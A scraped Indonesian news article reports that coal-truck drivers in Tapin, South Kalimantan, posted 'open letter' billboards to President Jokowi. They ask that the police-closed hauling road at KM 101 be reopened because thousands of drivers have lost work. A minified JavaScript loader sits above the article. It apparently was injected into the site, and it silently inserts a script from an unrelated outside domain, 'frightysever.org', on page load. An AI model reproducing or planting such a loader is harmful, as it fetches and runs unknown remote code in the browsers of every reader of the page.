(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tapin

Sopir Angkutan Batubara Protes Lewat “Surat Terbuka” ke Jokowi


KANALKALIMANTAN.COM, RANTAU – Puluhan sopir angkutan batubara protes melewat baliho “Surat Terbuka” ditujukan ke Presiden Joko Widodo, Panglima TNI, Kapolri dan pejabat di Kalimantan Selatan, Rabu (7/12/2021) petang.

Para sopir berkumpul dan memasang empat buah baliho berukuran 3×2 meter. Dalam surat terbuka itu, juga disebut Gubernur Kalimantan Selatan, Ketua DPRD Kalimantan Selatan, Kapolda Kalimantan Selatan, Danrem 101 Antasari, Bupati Tapin, Ketua DPRD Tapin, Kapolres Tapin, Dandim 1010 Tapin.

Dalam baliho surat terbuka itu, para sopir angkutan batubara ini menyatakan: “Kami Mohon police line underpass KM 101 Antang Gunung Meratus DIBUKA KEMBALI, dikarenakan merugikan kami yang menggantungkan hidup disini, puluhan tongkang, ribuang truk, ribuan supir, ratusan mekanik, puluhan ribu orang bergantung aktivitas ini. Tolong jangan jadikan kami pengangguran. TOLONG KAMI!!! Beras, lauk, Minyak Goreng Di Rumah sudah habis”
Salah seorang sopir angkutan batubara, Sanun Sunarwanto mengatakan, dibuatnya surat terbuka ini dikarenakan hingga saat ini tidak ada kejelasan kapan dibukanya jalan hauling Km 101 yang merupakan mata pencaharian mereka.

Sebab menurut sopir ini, jalan tambang itu menjadi satu-satunya sumber pendapatan masyarakat sekitar selama satu tahun terakhir.

 

Baca juga : Sekda HSU Saksi di Sidang Korupsi, Jawaban Berbelit-belit, Jaksa KPK: Masa Sekelas Sekda Anggaran Tidak Tahu!

“Hingga saat ini tidak ada kejelasan kapan jalan hauling akan dibuka. Kami membuat surat terbuka ini karena hidup keluarga ribuan sopir sedang terancam pemblokadean jalan hauling Km 101,” jelasnya.

Saat ini, kata Sanun Sunarwanto, ada ribuan sopir angkutan tidak bisa bekerja akibat penutupan jalan. Selama ini terdapat 16 kode truk angkutan pengangkut batubara melalui jalan yang diblokade. Dengan setiap kode masing-masing 100 truk, total terdapat sebanyak 1.600 truk yang tidak beroperasi.

“Total 3.200 sopir angkutan yang terdampak dan terancam pengangguran, apabila jalan hauling tidak segera dibuka,” jelasnya.

Sanun meminta kepada pihak berwenang segera membuka blokade dan mengizinkan para sopir kembali bekerja. Jika memang terdapat persoalan di antara perusahaan, seharusnya hal ini tidak menjadikan sopir dan pekerja tambang sebagai korban.

“Kami hanya ingin bekerja dan menghidupi keluarga kami. Ada pengadilan yang bisa menyelesaikan masalah jika ada sengketa. Semoga surat terbuka ini dibaca Presiden Jokowi dan kami bisa bekerja kembali,” bebernya. (kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

2 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

4 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

17 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

19 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

19 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

21 jam ago

This website uses cookies.